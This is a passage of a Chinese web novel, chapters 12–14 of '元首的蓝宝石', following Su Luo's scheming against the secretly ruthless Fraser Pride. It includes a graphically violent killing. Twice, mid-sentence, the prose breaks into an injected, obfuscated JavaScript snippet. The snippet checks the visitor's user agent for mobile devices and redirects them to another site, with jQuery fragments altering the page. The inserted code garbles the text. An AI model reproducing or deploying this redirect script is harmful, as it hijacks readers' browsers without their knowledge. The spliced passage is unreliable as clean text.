一阵短暂的窸窣声入耳,是苏罗离开座位,背对人停靠在窗边。
视线投向昏黑的外景,满眼是雪与夜组成混沌色彩,那能勾起人埋藏在最深处,最不愿拾起的回忆。
但不直爽,或该说徒念遗憾,沉迷空想,却无作为、不愿面对的态度是他最鄙夷的。
所以,他回答了季宇飞。
“我一直注视着他们。”
“到我们的永远结束,我也依然记着。”
拥有苏罗钦点过‘聪明’特性,年轻的参谋长喉头一哽,鼻框莫名有酸楚泛滥。
他似乎,看到了一棵不属于他们世界的擎天巨树。
有什么不可逆的洪流逐步逼近,卷走果实,撕扯叶片,将支撑的枝干无情摧毁。
但为了过去照拂它们所有的根,它们没有一员选择顺水流走。
化作污泥,腐烂成蛆,就算面目全非地坠落,也要把它们的根,它们那孤高却是唯一肯背负,并承认它们一切的王留住……
“宇飞,你……”
外出的苏霆推门而入,进来就见季宇飞眼眶发红,泪光闪烁,惊得他后退半步看下门牌。
确认自己没走错,他狐疑地打量屋里两人,最后看着发小问。
“发生什么了?”
情绪很快收敛,可已成型的泪却收不住了,季宇飞连忙揩着眼角笑道。
“让元帅见笑了,我刚刚在跟小少爷谈、呃,谈——”
窗台前,苏罗合掌一拍,喜滋滋地帮人接话道。
“在谈我要跟弗雷泽阁下会见,当面告诉他我要解除旧约换跟鼎鼎大名,也是我倾慕已久的伊诺克阁下订婚的事。”
季宇飞:“对,就是这——嗯?”
苏霆:“……”
这又是有史以来头一遭,基地的参谋长和苏元帅因为一句话大脑过载,完全停止了思考。
12. 元首的蓝宝石12
思想。
人身上唯一能不受束缚的暗匣,不会被轻易破译的密码。
只要藏得够深,只要伪装到位,一个人至死在外界都有可能是另一副面貌。
“所以说,弗雷泽阁下,请您别再劳神费心了,普莱德大元帅已经将交涉权交由我们。”
“您性子软又嘴笨,万一在那边说错话,惹得苏霆元帅发怒是小事,让中央与北部决裂可就惨了。”
身穿灰蓝制服的少将,以戏谑的腔调说出敬语,真实态度可见一斑。
摆在面前的是两份餐食,一份清汤寡水量少味淡,一份菜肉交织色泽油亮。
被尊为弗雷泽阁下的银发青年点头,继续用勺子拨弄清水般的营养汤。
“我明白了,多谢默文上将您提醒。父亲他这么为我着想,我这次一定会好好表现,不让他为我失望。”
他像含着声音保证,唯恐惊扰四周,琉璃般清透的浅紫眼眸低垂,只映着自己盘中的模糊倒影。
“嗯,您有心了,若您觉得休息够了就尽管回房继续您的研究吧,请不要顾虑属下。”
用词是‘请’,传进耳中经大脑翻译后却是‘识相就滚’。
收到如此苛待,弗雷泽继续他谨小慎微的奴隶做派,放开他没吃几口的晚餐,或该说谁的剩饭离开。
餐厅门外,全副武装的士兵即刻跟上他,他们脸上的暗色就如同窗外的阴郁云影,冷意稀薄却可渗透毛孔深处。
走在这条空中航船的外道,弗雷泽不禁放慢脚步,为透过浓雾的夜景失神。
斯卡蒂山脉。
与首都中心相隔最远,也是最独立的一片区域。
它的独立不仅在于处处迥异的人文地理环境,还有其管辖者听调不听宣,自成一派的特权。
相比其他日渐靠拢首都,与之绑定渐深,交互频繁的辖区,它简直是一个傲慢的异类。
不过,真正傲慢却又无法支撑高高昂起的头颅的人,是谁还说不准呢。
身后传来枪械调整的声响,意为不必言说的催促,弗雷泽收回目光迈步,终于被护送回了自己卧室。
比陈年的员工宿舍简陋,照明靠的是老古董燃灯,因为堆满他自带的研究资料和书籍,本就狭窄的单间更无处下脚了。
作为中央一区的元帅之子,他会有如此待遇仅仅是因为对方开始提倡的节约理念。
于是,全家上下只有他荣幸地成为‘楷模’,不管何时何地都要做给看不见的眼睛看,以此彰显普莱德一族的亲民恩慈。
也是为了恩慈二字,他将前往斯卡蒂辖区,去见一个注定会辞退他,且素未谋面的婚约者。
摇曳烛光下,仿佛对一切苦难都逆来顺受的青年翻开诗篇。
虽然他无权过问,刚才在餐桌上只是提一嘴就被轰下去,但他却也有‘道听途说’的本事。
他听说,他的那位未婚夫——苏家的小少爷苏洛,一个月前惨遭匪徒绑架,虽然得救却在鬼门关走了一回。
死亡是最特殊的磨炼,所以越是接近过它,心也会似光穿透不同障碍,折射出与往昔截然不同的光彩,甚至能影响身边人。
险些死过一回,曾经孤怯的苏洛决定大胆追爱,也获得因他痛改前非,重新关爱他的长兄支持。
纸页翻过两面,弗雷泽盯着插画中的黄蔷薇出神。
他还听说,那位小少爷爱慕的,同样是一名没见过也没任何交集的‘普莱德’。
估计是听闻了首都流出的传说,相信了由无数谎言和假象共筑的天之骄子,英雄后裔的剪影。
这倒是情有可原。
天下世人,有谁不会为强者倾倒,追崇他拥有和掌控的一切。
插画接着翻篇,来到夹在中间的一张泛黄照片,然而灯火却不合时宜地熄灭,任昏暗侵吞卧室。
这下弗雷泽也无法看书解闷了。
可夜还很长,航船要翌日清晨才能穿过危险的风暴层,度过严防的层层关卡入内。
余下的时间,只能也足够弗雷泽用来逐一分析,慢慢构想出那名‘未婚夫’的形象。
眼眸明丽,乌发柔顺,穿着浅粉色的新衣裳,像颗被爱意重新包装过的水果蜜糖,又像落在鲜艳伞面上的柔白初雪。
而他坐着轮椅,一见面就朝前伸手。
“您终于来啦,弗雷泽阁下!很高兴见到您!”
准备发话的默文上将,后方肃静的中央士兵,以及安分低头的弗雷泽,统统因为这突然且直接的问候愣住。
哪有人在如此严肃的场合没大没小乱打招呼的?
但既是对方主动示好,默文不好当面发作,放任弗雷泽与笑眯眯的omega握手,接着被后者顺势挽住。
“您长得好漂亮啊,伊诺克阁下是不是也像您这么好看。”
不谙世事的小少爷搂住弗雷泽整条右臂,等不及地打探心上人。
即便他开口就先夸了‘前未婚夫’,可他毫不掩饰内心急切的期待,听得人很不是滋味。
但靠向自己的身躯温暖,散发着阳光般熨贴的淡香,若是刻意怠慢或冷落它,实乃一大罪过。
弗雷泽莞尔,尽量让自己不动。
“恐怕要让您失望了,在下相貌随母亲更多,至于伊诺克大人……他更具备大元帅年轻时的威风英姿。”
他习惯性地把弟弟和父亲说成高不可攀的上位者,正符合他小小学者的卑微身份。
“哎——这样,那您在家平时都做什么,伊诺克阁下会跟您说话吗?他喜欢什么样的人您知道吗?”
三问齐发,再次掐掉默文上将想打断的念头。
当然,他更多是忌惮于多嘴青年,也就是苏洛身边面色冷峻的男人——苏霆元帅。
这名在场地位最高的人不阻止,没反应,由着不懂事的弟弟扰乱接待,不知廉耻搂着一名陌生alpha不放,实在难以置信。
苏霆最后肯开金口还不是因为他们。
他俯下身,小心凑到弟弟耳边说道。
“等下这里风会变大,担心别着凉了,有什么话我们进去再说。”
“不嘛,你们肯定要关在会议室里很久又不让我听,我还想跟弗雷泽阁下多聊聊呢。”
“弗雷泽阁下他们赶路辛苦了一天,得养好精神才能陪你 。”
拽住兄长衣袖的青年嘴巴一瘪嘴,立刻把脸抵在对方小臂上狂蹭,活像只乞食不成就撒泼的猫崽。
“跟我一起他也能休息啊,我还能带他去参观呢,你就答应我吧,大哥,好嘛好嘛~”
似是拿爱撒娇的弟弟没辙,苏霆搭住对方肩膀,假意推了推。
“基地里很安全,我倒是没意见,就看——”
好机会!
默文瞅准时机,准备上前接话。
“苏元帅,这里还是由我——”
“弗雷泽阁下肯定不会介意的,他那么漂亮,人肯定也很好很善良!”
又一次的,蹭红小脸的omega抬头,不知是有意还是真的激动过头,亮晶晶的双眼只看弗雷泽。
但因为默文就站在弗雷泽身旁,他勉强分出去一点目光。
“你是弗雷泽阁下的护卫,你也会同意的吧!拜托嘛,我还从来没有跟差不多大的朋友一起上过街,好不容易才等到天气升温的。等以后,我就更没机会了……”
轮椅上的青年垂下脑袋,越说越委屈,他头顶两侧翘起的发梢就像一点点耷拉下的耳尖。
这小模样看着别提多可怜了。
理智告诉默文绝不能松口,可不争气的情绪与生理将他绊住。
他的犹豫也让苏霆得以抢先,说出一个自作主张的提议。
“两个年轻人之间的交流,我们这些要办公事的无趣老古板就别插手了,不如各自派保镖跟着,好有个照应也方便传话。您觉得如何,默文上将?”
口吻是询问,皮笑肉不笑的冰冷瞪视分明就是威逼,心知这是别人的地盘,默文别无选择地应下。
而从降落台一路下到基地中层,他们都被迫和弗雷泽一起听着苏洛少爷叽喳不停。
话题东拉西扯,发言幼稚也直白,他那不含一丝杂质的笑靥把只会安静看着他的长兄衬得更符合谣言。
不,根本就是坐实了。
在目睹苏霆仅因为青年嘀咕了一句‘屁股颠痛了’就直接抱起人走完全程,饶是默文也在内心啧啧称奇。
那神色恬淡,眼神柔和的模样,还是曾经敢拒绝中|央调令,独守斯卡蒂的‘雷霆悍将’吗?
带着深深的疑惑,大开眼界的默文一行就此和弗雷泽分道扬镳。
人手本就不多,他和苏霆各自派了三名护卫与那对培养感情的年轻人同行。
虽然培养的感情有点错位。
“那这么说,弗雷泽你住校读书后就基本见不到伊诺克阁下了?怎么这样啊——”
小少爷止不住地哀叹,惋惜自己没能从最佳人选口中问来有用信息。
“我天资愚笨,所以父亲更希望我更上进一些,弥补这点不足,不能给普莱德一名蒙羞。抱歉没能帮到您。”
初来乍到,身份尴尬,弗雷泽延续着在首都低眉顺眼的好表现。
才在营地逛十分钟,他就已经劝二弟未来的伴侣直呼他全名了。
只怕再给他换身制服,他能直接混入某个高档会所上工。
因为谦恭不是他唯一的优点,在看人眼色这方面,他绝对位列榜首。
就比如说现在,当他发觉苏洛小少爷的失落后接着出谋划策。
“陪同我来的默文上将和伊诺克大人经常见面,您要是有什么想说或想问的话,我可以请他帮忙转告。”
对方却立即摇头,不知是第十几次握住他冰凉的手。
“那怎么行,有些话是不能我传你你传他这样乱来的,被伊、被人误会了怎么办呀……”
粉衣青年说着缓缓垂下脸,可却来不及藏起两颊升起的一团绯红。
仿佛是他这次未能说出口的名字烫到舌尖,也点燃羞于启齿的情愫。
原来如此。
看来这都不是喜欢,而是完完全全的迷恋了。
得出初步判断,弗雷泽回应得更加恭敬且滴水不漏,一切只往‘优秀英俊的二弟伊诺克’上靠拢。
小少爷满不满意他不敢断言,但他身后的某三双眼睛,以及他们代表的存在绝对会认可他的做法。
如此陪伴半天,他最后竟在餐桌上被小少爷邀请去苏家住,而不是回去住航船。
不过,这一回他主动拒绝了。
“抱歉,苏洛少爷,于情于理这都不太合适。会让默文上将为难的。”
原本笑盈盈的青年睁圆眼,手里的莓果都掉回碟子里了。
“为什么?你不想跟我呆一起吗?你讨厌我啊,还是嫌我烦?是不是我反悔抛弃你移情别恋了,你就不高兴了?”
他问得直抒胸臆,弗雷泽嘴角匆匆一弯似是窘迫,但很快又开口道。
“和您相处是我的荣幸,另外我觉得婚约一事本来就是前人有点任性的约定,我个人是绝对支持配对的自由恋爱。”
整段回应无懈可击,弗雷泽接着诚恳解释。
“我其实还有很重要的研究课题没完成,所以……”
他话说一半,对方恍然大悟点头,重新露出无暇甜美的笑容。
接着,青年带着点小骄傲地翘起脑袋。
“那我送你回去吧,正好我要去见大哥。我想他了,他肯定也想我了,我刚刚都连续打了三个喷嚏了呢。”
“两位感情好心有灵犀,说不定还真是,哈哈……”
伴着人,陪着笑,弗雷泽原路返回自己那间破旧的卧室。
窗外有基地的探照灯,他终于不用为光源发愁,执笔在日志的空白页上记录。
这是他长久以来被父亲要求习惯,不过就算他钜细靡遗的写明行程见闻,仍会有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176274|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
另一份旁人视角的报告交上去。
而他依然雷打不动地写着。
千里冰封的雪域,训练有素的士兵,发展停滞的城镇,相亲相爱的兄弟……
当写到那人的名字,描述那或羞赧或雀跃的微红脸庞,弗雷泽·普莱德停住笔尖,任劣等墨水渗透,逐渐晕开。
纸上的‘苏洛’被墨迹染黑,最终只剩一块难以名状的污渍。
在换纸之前,书写者却嘴角微弯,发出他不受任何人掌控,源自内心的轻笑声。
“营地里的士兵对那位可爱的小少爷……似乎畏怯多于恭敬啊,为什么呢?”
为什么?
答案就在此时此刻的基地上演。
还是前次的二号训练场,还是韭菜一样被收割的士兵。
自然,也少不掉那刺耳却无比精准的讥讽。
“眼睛看哪里就打哪里,你是想把快来揍我写在脸上给敌人看吗!”
“蠢货!哪有人扑空后就站着干等,你的脑子是摇匀后神经全搭错,就等你哪天把脖子往别人枪|眼上贴求亲亲吗?”
“你这大身板还是别学别人偷袭了,你就地劈个叉能直接把我笑死了……”
每轮一小时,每次三千人,不知疲惫的训导员苏罗以拳头为题目,以损话为教鞭,把士兵蹂||躏了一批又一批。
这便是全基地持续半个月的‘训练’。
刚站岗的换下来就挨揍,挨完揍的马上又去站岗,紧锣密鼓安排让年轻的新兵们五体投地,怀疑人生。
“他、他——他就不会累吗,每天都、都这么有精力?”
有人瘫倒在地,用最后的力气发出质问,也因此让更多困惑浮现。
这满嘴粗话,眼神邪气又高傲的家伙,真的是白天只会对苏霆元帅求亲亲要抱抱,可爱天使般的小少爷吗?
“起来,那个多嘴鸭子嗓的家伙。今天晚上你搬去信号站。”
恶魔的声音再一次响起,累到恍惚的新兵早就没了继续反抗的余裕。
不管被分到哪,他们都只想先躺下好好睡一觉,然后……
然后总有一天要击败这个魔鬼苏洛!
人群中,已是南哨塔巡兵队长的尤金撑起身体,拖着灌铅般的双腿走到苏罗面前。
今天的乌发青年还是一样,从头到尾没挪过位置。
可经过半个月的参训,他对‘魔鬼教官’的态度和看法已完全改写。
看出尤金有话想问,苏罗勾勾食指,让人再走近几步。
使出全力的对战无疑是高耗能运动,现在连站立都勉强的男人只能发出断断续续的声音。
“你……你那天明明可以直接告诉我们,你是来……”
是来接替其他长官完成他们无法完美达成的任务。
而不是用一句‘不用留在队伍里’这种模棱两可的说辞,故意激怒所有人,挑起所有怨恨。
虽说这抹‘怨’其实也算作一环了。
“噢,抱歉哦。谁让我乐意呢,看你们乐不乐意受着吧。”
回答完毕,苏罗食指扒拉下眼睑,吐舌做出令人恼怒的鬼脸,甩着粉红外套扭头就走。
一边是气,一边是笑,又开始喘息的尤金重重坐倒。
不知何时起,他和所有同僚每天越来越期待这项特殊的训练。
吃饭的时候在讨论战术,睡觉前在互相演练,甚至连做梦都会挥拳,闪避着谁现实里让自己刻骨铭心的漂亮回击。
想要打倒某个人的念头,从来没有如此强烈。
想要借此变强,强到能像那个人一样恣意妄为的渴求也灼灼燃烧。
“喂,下次我们不如趁他站好就佯攻吧,声东击西,反正他也没说什么时候开始。”
“可以啊,我先跟他搭话,你们后面包抄。这次绝对让他离开那个位置!”
“只是包抄不行,你忘了他的致命后空翻吗……”
魔鬼教官人才走远,这群满身汗的小兵就兴致勃勃商议起来,刚调养好的力气又被拿来演练。
高台后的勘察室,苏罗为他们的表现评分。
“今天还是零人通过,记一下。”
季宇飞闻声抬眼,小心窥探着青年俯瞰训练场的侧脸。
嘴角总是挂着趾高气昂的笑,明亮的眼睛犹如能直视太阳,容纳下世间万物。
可如果看到渺小的种子发芽,这双眼也会像此刻浮现微小的快意。
虽然不是面对面,季宇飞也回以一个相似的笑容应道。
“好,今天也辛苦您了。另外,按您提示的方向收集,我已经把关于弗雷泽的另一份调查报告整合出来了。”
银白封皮的档案经他之手转交,被人一目十行看完。
合上资料,苏罗指节轻叩封脊。
同是为笃定的猜测发笑,他能比弗雷泽笑得更大声且随心所欲。
“果然啊,我们斯文的幽灵长子,原来才是最恶贯满盈的一个呢。”
走|私|武|器,贩卖机密,这手握着某家新贵的秘辛,那手又抓牢某位旧臣的把柄。
今天在众人面前装成一个儒雅大方的知性好哥哥,现在他指不定在哪个暗戳戳的角落酝酿坏水。
至于他最后想算计谁,又想谋得什么,目前暂无头绪。
平静汇报到最后,季宇飞突然又紧张了。
“请问,您接下来有什么计划?”
虽然有过前例,虽然早有预料,但参谋长还是在青年绽开一抹灿烂笑容时满心复杂。
“约会呀!”
苏罗比出拇指,又说出让刚推门的苏霆一卡,让季参谋眼神呆滞的惊人之语。
“约会就是藉由轻松惬意的相处增进感情,加深了解,是很厉害的方法哦!等着吧,明天我就让他把肚子里的东西都吐出来。”
相同情形上演,沉默这位老友如约而至。
这回,陪苏罗装了一天的苏元帅和季参谋自愿放弃了思考。
13. 元首的蓝宝石13
确实,全吐出来了。
不过吐的不是‘匣’中秘密,而是早饭。
“唔……”
铁皮垃圾桶旁,弗雷泽一手扶腰一手撑墙,弓身竭力压制胃里翻腾的酸水。
得体如他,竟然也有这般失态的时候。
“弗雷泽,你还好吗?真的不需要我叫医生过来吗?你看着好难受的样子啊。”
关怀声传自身后,属于裹着兔绒外衣,鼻尖微红的苏洛小少爷。
在所谓的‘冰上乐园’,头顶可爱编织帽的青年更符合那孩子气的表现了。
左抱一个绵羊玩偶,右搂一个雪橇模型,盖有毛毯的腿上还放着彩纸包装的奖品不肯给侍从,完美诠释什么叫爱不释手。
而这些全是他弗雷泽·普莱德赢的。
今早八点,视他为亲密新友的苏洛少爷找到他,宣称要带他去斯卡蒂的第一所游乐园。
他不得不承认,在给别人添堵自己痛快的本领上,曾经的‘影子少爷’苏洛天赋异禀。
默文上将强硬拒绝,小少爷死不让步。
苏霆元帅委婉劝说,小少爷撒泼打滚。
软绵绵的威胁和请求是其次,总是能戳中要害的说辞,或该说借口才是最大功臣。
重伤未愈的双腿,即将远嫁的未来,弱小无助又可怜的身份与背景。
打出这些致胜王牌,再搭配上我见犹怜的伤心神色,任何有良知、顾脸面的正常社会人士都会愿意为他动容。
同样的,弗雷泽也没能逃过被迫心软的命运。
结果就是他成为小少爷的‘代玩’,落得一个差点当众呕吐的下场。
拿手帕飞快拭过嘴角,弗雷泽直起腰,微笑无懈可击。
“抱歉让您忧心了,我只是还没适应这的游戏强度,稍微缓一缓就行。”
话虽如此,他余光瞥向侧方,心中的质疑不减反增。
高达三百米,总长五千米的巨型滑雪道,中间涵盖了匪夷所思的大转弯和空中停滞,别说他一个体能较高的alpha了,哪怕训练有素的士兵第一次上去体验都会够呛。
而且,这的冷与基地里的寒凉不同,简直冷至骨髓。
尽管回暖期已至,斯蒂卡全区气候要比平时舒适数倍,可常年雪境的‘舒适’,哪能是一个习惯了首都四季如春的城里人能接受得了的?
强忍寒颤,弗雷泽上前一步,对轮椅上的人欠身道。
“苏洛少爷,请您不必顾虑我。而且您难道忘了么,今天我们是专门出来寻快乐的,只要您玩得高兴,我也不会觉得累了。”
“是吗?那就好,那我们先休息会儿再去玩下一个吧!要选哪个好呢,唔——”
小少爷举起抱绵羊娃娃的左手,愉快点数着前景的建筑斟酌。
弗雷泽手掌轻搭腹部,有意守在后方观望。
和首都乐园截然不同的萧索风貌,项目完全能改名成极限挑战,唯一可取的点是游客稀少,想玩什么都不用等。
另外,整座乐园的设施很新,地理位置略偏僻。
顺着彩灯连成的彩虹桥,他于远处雾流中找到一条若隐若现的缆车线。
弗雷泽眯了眯眼。
原来如此,这才是核心项目。
位于斯卡蒂第三峰山脚的普纳镇,是目前唯一适合修建‘翻山路’的起点。
因为第三峰地势平缓,高度也在普通飞行船的航行范围内。
可就算翻过山顶,对面等着的还是一样荒芜死寂的雪域。
就像修建了缆车,斯蒂卡仍然造不出像样的飞行船和大型战舰。
“啊!有了有了,我们去看冰雕吧!”
小少爷做好决定,熟稔地抓住弗雷泽的右手。
“这样海勒姆还有你的护卫也能一起看了,不用干巴巴站着看我们玩。”
“还是您想得周到。”
“那是,我对朋友可好了!既然要招待朋友,我就绝对不能让你失望玩得不开心就回去,对了你想要什么纪念品吗,我给你买,大哥今天刚好给我好多零花钱呢……”
朋友。
玩味着耐人寻味的称谓,弗雷泽主动帮人推着轮椅,渐渐放慢脚步。
他的眼在替他微笑传达谢意。
他的耳仍称职倾听,记住那张喋喋不休的小嘴里蹦出的每个字音。
眼看即将穿过冰雕场的大门,他似怀着满腹忧愁低声道。
“苏洛少爷,我其实有件事挂念很久了。请问您的腿脚,在这真的治不好吗?”
介绍特色美食的青年讲得正起劲,冷不防被他浇了一头冰水,兴致蓦地消散。
“医生说我伤到了神经,得慢慢调养,过段时间就会好起来的……”
音量越来越轻,语气里的笃定也似石块沉底,除了开始的微弱涟漪,最后什么都看不见。
“可这样一直耗着,苦的人还是您啊,元帅他不能帮帮你吗?”
“在首都,跟您伤势相似的战士们用浓度最低的蓝月能源治疗很快就恢复了,他们后期也没出现额外的副作用。”
似乎到现在为止,弗雷泽才真正把自己放在‘挚友’的位置,直言不讳道。
“苏元帅待你那么好,怎么舍得您就这样瘫着,废着?”
‘瘫’与‘废’的字眼略显犀利,弗雷泽立即收到海勒姆的一枚冷眼。
可儒雅的银发青年此刻不知吃错了什么药,仍旧目视前方。
他像是关切过度而忘了分寸,也忘记时刻保持的‘适中’理念。
“您那么期待与伊诺克大人成婚,就更应该要幸福完满,健健康康地一起步入礼堂才对啊,这可是仅此一次的人生大事,您说——”
“呜……”
微弱的怪声叫停他的侃侃而谈,他低头,对方也扬起一张涂满惊恐的脸。
“伊诺克阁下他,讨厌残废的、受过伤的人吗?”
红眼眶里的热泪还在准备中,可小少爷的伤心哽咽却是忍不住了。
“他、他会因为我以后站不起来就拒绝我吗?会像我换掉你一样不要我吗?为什么?”
有那么几秒钟,弗雷泽嘴旁肌肉牵动,似是为那句直白的‘换掉’心梗。
但他很快又拼出惶恐的吃惊表情。
“没有的事,伊诺克大人他会喜欢您的,您很好。”
“可你刚刚又说我站不起来就不能跟他结婚!”
“不是的,在下的意思是——”
“哇啊啊啊!不要啊,我、我不想被讨厌!”
宛如一来一回的擂台赛,弗雷泽最终败给对手无解的绝招——嚎啕大哭。
豆大的眼泪来势汹汹,几乎没有造假的可能,这不止把他看懵了,也让随行护卫尤其是执事海勒姆向他投来更强烈的谴责目光。
“阁下为主人着想固然是出自好意,可有时过度操心只会适得其反,望您今后慎言。”
老者蹲在哭泣的omega面前为其拭泪,简短一句就令人感到无尽压迫,脊背发凉。
弗雷泽正欲道歉,谁曾想被同行的士兵抢先。
“苏洛少爷您别哭,您长得可爱又漂亮,伊诺克大人绝对喜欢您,您别听他胡说。”
“是啊是啊,您声音也好听,少校他、他就中意您这样的……”
看那三人哄小少爷哄得起劲,弗雷泽自觉地候在一旁。
可当他做好回归透明人的准备时,轮椅上的人却拨开士兵,啜泣着靠过来,主动环住他的腰。
抽抽搭搭的青年自己咕哝着作出解释。
“我要长得好看闻着香的弗雷泽安慰我,你们太臭又太丑,我看了会更想哭……”
无论故意与否,这句话确实让弗雷泽笑到了。
他向对自己投来阴鸷目光的卫兵低头致歉,一边轻拍小少爷后背。
“是我说话没注意,让您难过了。作为赔偿,我拿出晚上的工作时间给您,一直陪您可以么?”
他的宽慰又重回往昔水准,瞬间让人破涕为笑,忘记原先的不快。
是补偿也是为歇息,他们转而走向冰雕场旁的糖果工坊。
斯蒂卡的土壤不适合种植,工坊里的糖自然也不是常见原料,而是雪泥烟一样的替代品。
类似麦秆的禾本植物,将其反复碾压榨出汁液,最后用纱布浸染通风晾干,结出水晶般的甜味颗粒。
之后的再加工流程,就跟首都大同小异了。
甚至能说简陋。
工厂上方,食用着色剂溶解成浆,排成一列填满玻璃钢的储蓄罐。
正下方,流水线的履带送来动物形的糖胚,分批浸染色彩。
作为稀客,主要也是沾了苏洛少爷的光,他们一行获得了近距离参观的特权。
厂长是名和蔼的胖老头,热情地邀请贵客品尝,全部免费。
包括弗雷泽在内,首都来的四人原本只想意思一下,可尝过后却完全停不下来了。
造型朴素的糖块甜而不腻,入口清香,适中的硬度能满足大部分群体,说是老少皆宜也不为过。
更难以置信的是,它是完全的健康食品,多吃反而有助于清理肠道血管。
若能正式引入市场,恐怕会一夜火爆吧。
就连那三名不喜甜口的alpha士兵都像被蜜勾走魂的蜂,嘴馋地围在厂长面前,边试吃边打听秘方。
遵从定位留在边缘,也即挂满结晶纱的角落,弗雷泽把玩着蝶型的糖块,状若沉思。
不多时,他感到衣角被谁扯动,转头一看果然是笑容明媚的小少爷。
对方向他递出手。
“给,这是补送弗雷泽的见面礼,一定要好好收下哦。”
精心包装过的三根棒棒糖,造型都是吐舌头的小狗脑袋,憨厚可爱。
可论价位和意义,它实在不符见面礼的高标准。
即便如此,弗雷泽也受宠若惊,连忙宝贝地双手接过。
“原来苏洛少爷您喜欢小狗吗?”他顺嘴问道。
“不,我最讨厌的就是狗了,比狗屎更讨厌,毕竟屎还是纯粹的排泄物嘛。”
“……”
从一个娇气纯真的omega
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176275|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口中听见‘屎’和‘排泄物’二词,这不是弗雷泽持续沉默的原因。
而是后来轮椅中的青年搂着绵羊,用那种世上最无害,最柔缓,如同一场飘渺美梦的嗓音对他笑道——
“因为,狗这种东西实在太让我恶心了。”
“它们忠诚又聪明,知道对主人摇尾乞怜,乖乖听从指令,总是眼巴巴地期盼桌上掉给它,饲主留给它的剩饭。”
“要是被抛弃了,它大多都不会记恨前主人,甚至还会继续对收留自己的新主人挽首贴耳,这种被驯化成功的生物,真的非常可爱啊。”
放在前面的观点与后面的详解无法衔接,弗雷泽维持着初始的表情,默默眨眼。
染色机开始新一轮的运转,巨大的轰鸣盖过所有人正常交谈的声音。
糖纱群下,长布的纯白末端晃过弗雷泽的视野。
而他也见证了进门以来目睹的一场最难忘,最神奇的着色表演。
恰好,是眼皮一个起落的时间。
那双仰望着他的澄澈黑眸竟变成了一种高傲的注目,将他审视得透彻。
轰鸣很快减弱,甜蜜如彩糖的小少爷又出声道。
“早点吃了他们吧,放久了,带回去会坏掉的。那你就是浪费我的心意哦,得罚!”
神色,语气,措辞,一切重回起点。
仿佛刚才短暂的变脸只是混在糖霜里的错觉,是空气被热风扭曲的波浪。
拇指摩挲着棒棒糖,弗雷泽再抬头便收到三道警告的视线。
他知道,是他离小少爷太近并且有单独接触的嫌疑了。
回以一个明了的点头,他与自己推轮椅的青年并行向前。
“多谢您,苏少爷。”
他说着扯掉所有包装,一口气咬掉三颗的吃法可谓粗鲁且无礼。
但他对士兵们的瞪眼视若无睹,只是嚼着三颗狗头发笑。
与他原来的温柔体贴毫不相干的微笑,空洞又虚假,仅有一个人眼可辨识的弧度。
像极了野兽的拙劣模仿。
“顺便一提,我也跟您一样。”喉结滑动,弗雷泽咽下满口碎渣,笑得胸腔震动,“我也对狗……厌恶极了。”
仿佛是不同寻常的话语触动开关,工厂的灯竟于一瞬全部暗淡。
期间响起的惊呼、打击、以及微弱却未能成型的呻||吟声,统统在顶灯复明前终止。
灯光下,海勒姆仅靠双手勒晕最近的两人,他冷然的表情在看清身旁时有了一丝松动,眉头微皱。
他没解决的第三人,抽搐着跪倒在地。
士兵的双目被两根手指插||穿,溢出血与白浆的混液。
比死痛苦的折磨还有他扎破三个洞的气管,凶器乃是棒棒糖的棍子,正在恶意地转动抽|拉。
棍子当然不会自己动。
弗雷泽·普莱德,银发紫眸,如同典雅古画中走出来的俊美男人。
他到最后都没给士兵一个痛快,而是逐根将细棍推入对方喉管,郑重得就像在翻阅宝贝古籍,生怕碰坏了一点。
细小血流喷溅,浸湿他的袖口,也在他含笑的嘴边落了几滴。
等对方彻底断气,他才以食指轻轻一推让人仰倒,自己则动作优雅地脱掉手套,擦拭脸颊。
清理完毕他转身,行了一个标准的宫廷礼。
标准,但却没有臣服之意。
“为他多看您的几眼,不该对您生出的妄想,还有比狗更恶心的‘忠诚大脑’。您不用感谢我了,苏少爷。”
听男人如此解释灭口的原因,轮椅上的苏罗不免笑出声来。
撇开厚实的毛毯,他双腿站立伸了个懒腰。
像他的视线始终透过眼缝锁定人影,弗雷泽一眨不眨盯着他,犹如预备撕咬猎物的饿狼。
也是。
对于一个长期在人前伪装的怪物来说,它的确已快饿到头晕目眩,濒临极限了。
察觉某种蠢蠢欲动的杀念,海勒姆不动声色退回,却被苏罗手一扬示意撤开。
“按约定好的,今晚是你赔偿给我的时间。”他右手指向上方,也是缆车的朝向示意道,“我给我们预订了最佳的餐厅二人间,景色一流,风味绝佳,你该不会反悔吧?”
“怎么会?”
脱掉一层‘人皮’,弗雷泽似乎连声线都变了,像是奏着魔曲的走调钢琴,邪得离经叛道。
他二度欠身,去主动握起青年,也即真正东道主的左手。
因为没被拒绝,所以他大胆落下亲吻,两片唇瓣模拟牙齿的啃咬,抿住光滑的皮肉几秒才缓缓离开。
“像我保证过的,您不必顾虑我。今天的我是专门出来寻快乐的,只要您玩得高兴,那么……”
相似的开篇,却没有一致的末尾,这个摈弃斯文的男人翻过青年手腕,深深地嗅探内侧。
程度之深,仿佛是要嗅出他们皮下相似的血液因子。
他最后抬头,咧开嘴角笑道。
“那么,我也会代表奥兰家家主,血红王伊可·利奥波德的末裔之一为您狂喜欢庆的。”
14. 元首的蓝宝石14
伊可·利奥波德。
一个几乎已经没人敢提,却永驻历史的名字。
明面上,大众避讳血红王真名的原因无外乎两个。
